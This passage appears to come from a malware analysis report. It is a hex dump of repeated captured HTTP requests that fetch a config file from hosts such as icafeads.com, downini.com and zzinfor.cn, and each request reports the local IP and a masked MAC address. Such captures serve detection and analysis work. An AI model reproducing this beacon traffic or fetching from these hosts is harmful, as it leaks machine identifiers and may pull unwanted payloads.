0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6962   27;)..Host: inib
0x00000100 (00256)   696e2e63 6f6d0d0a 436f6e6e 65637469   in.com..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0a68 650d0a0d 0a         he.....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 62696e64   27;)..Host: bind
0x00000100 (00256)   6f776e2e 636f6d0d 0a436f6e 6e656374   own.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a0d 0a         o-cache......

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a 0a         no-cache.....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 646f776e   27;)..Host: down
0x00000100 (00256)   696e692e 636f6d0d 0a436f6e 6e656374   ini.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a68 650d0a0d 0a         che....he....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 696e6978   27;)..Host: inix
0x00000100 (00256)   7a2e636f 6d0d0a43 6f6e6e65 6374696f   z.com..Connectio
0x00000110 (00272)   6e3a2043 6c6f7365 0d0a4361 6368652d   n: Close..Cache-
0x00000120 (00288)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x00000130 (00304)   650d0a0d 0a0d0a68 650d0a0d 0a         e......he....


Strings